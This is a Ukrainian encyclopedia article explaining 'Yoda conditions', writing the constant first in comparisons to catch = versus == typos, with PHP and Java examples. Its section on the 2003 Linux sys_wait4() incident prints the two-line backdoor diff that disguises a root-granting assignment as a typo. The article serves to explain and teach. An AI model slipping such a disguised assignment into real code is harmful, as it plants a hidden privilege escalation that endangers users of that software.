Умови Йоди

Матеріал з Вікіпедії — вільної енциклопедії.
Перейти до навігації Перейти до пошуку

Умови Йоди (від англ. Yoda conditions), або нотація Йоди (англ. Yoda notation) у жаргоні програмістів — «безпечний» стиль запису виразів порівняння при програмуванні мовами з Сі-синтаксисом, що полягає у написанні спочатку значення змінної, а потім - самої змінної. Такий запис дозволяє виявити на етапі компіляції і виправити помилку, властиву подібним мовам — операцію присвоєння =, помилково записану замість операції порівняння «==».

Названо на честь магістра Йоди зі всесвіту «Зоряних воєн», який має манеру змінювати порядок слів фрази.

Суть нотації[ред. | ред. код]

У класичній нотації перевірка змінної на рівність певній константі записується так (приклад мовою PHP):

if ( $variable == 52 ) { 
    /* дії, що виконуються, якщо змінна дорівнює 52 */
}

тобто змінна, операція порівняння і константа. Дана конструкція вразлива щодо відомої помилки:

if ( $variable = 52 ) { // ПОМИЛКА: ПРИСВОЄННЯ змінній значення 52
    /* дії, що виконуються ЗАВЖДИ */
}

Такий код є синтаксично правильним, і при неналежному тестуванні може залишитися у програмі на тривалий час і стати причиною значної вразливості.

При застосуванні нотації Йоди змінну і константу міняють місцями, так що константа виявляється ліворуч:

if ( 52 == $variable ) {
    /* дії, що виконуються, якщо змінна дорівнює 52 */
}

При такій нотації у випадку описки в операторі порівняння виходить синтаксично некоректне присвоєння константі і програма не буде працювати, поки помилка не буде знайдена і виправлена.

if ( 52 = $variable ) { // ПОМИЛКА при компіляції
    /* ... */
}

Альтернативне використання нотації[ред. | ред. код]

Нотація Йоди також застосовна при розв'язанні проблеми небезпечної «нульової поведінки» (англ. unsafe null behavior) наприклад (приклад мовою Java):

String myString = null;
if ( myString.equals("foobar") ) { // Викликає NullPointerException
    /* ... */ 
}

При застосуванні нотації Йоди:

String myString = null;
if ( "foobar".equals(myString) ) { // Результат - Хибність
   /* не виконується */ 
}

Переваги та недоліки[ред. | ред. код]

Використання нотації Йоди не дозволяє програмам мовами C++, Java, PHP тощо працювати за наявності помилок у виразах порівняння (поведінку програми ця модифікація не змінює). Деякі програмісти вважають застосування даної нотації «ознакою гарного тону»[1].

До недоліків нотації відносять складність написання, модифікації й читання програми, а також вузьку галузь застосування — тільки перевірка рівності, тільки порівняння з константою. Сучасні інструментальні засоби розробки (компілятори, редактори) дозволяють відслідковувати і видавати попередження за наявності присвоєння в керувальній конструкції, вважаючи його потенційно помилковим.

Помилка sys_wait4()[ред. | ред. код]

Цікавим є невдалий бекдор у функції sys_wait4() в ядрі Linux (2003).[2][3] Розробка велась на пропрієтарній системі керування версіями BitKeeper, а ночами код викладався на загальний огляд на більш поширеній CVS. Цю CVS і зламали, додавши у функцію sys_wait4() два рядки, що перевіряють вхідні дані на некоректну комбінацію прапорців:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Бекдор було замасковано під звичайну описку — замість == стояло =. Таким чином, передача до функції двох прапорців, що суперечать один одному, виконувала код current->uid = 0, тобто давала програмі права суперкористувача.

Зміну виявлено під час автоматичного перенесення змін з BitKeeper до CVS — не збігся електронний підпис (за іншими даними, скрипт-експортер поскаржився на дивну дату файлу). Помилка в принципі не могла пройти у стабільне ядро (зв'язок між BitKeeper і CVS односторонній). Автора «дірки» знайти не вдалось.

Примітки[ред. | ред. код]

  1. Искусство проведения интервью — gnuman.ru. Архів оригіналу за 28 січня 2014. Процитовано 28 червня 2014.
  2. Про інцидент з wait4() на anticopyright.ru. Архів оригіналу за 15 жовтня 2014. Процитовано 28 червня 2014.
  3. Новина про спробу злому Linux на Slashdot

Посилання[ред. | ред. код]

Англійською[ред. | ред. код]

Російською[ред. | ред. код]